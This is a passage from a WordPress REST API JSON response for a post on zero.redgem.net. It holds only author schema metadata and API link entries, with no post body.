redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15027","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15027"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15027\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15027"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15027"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}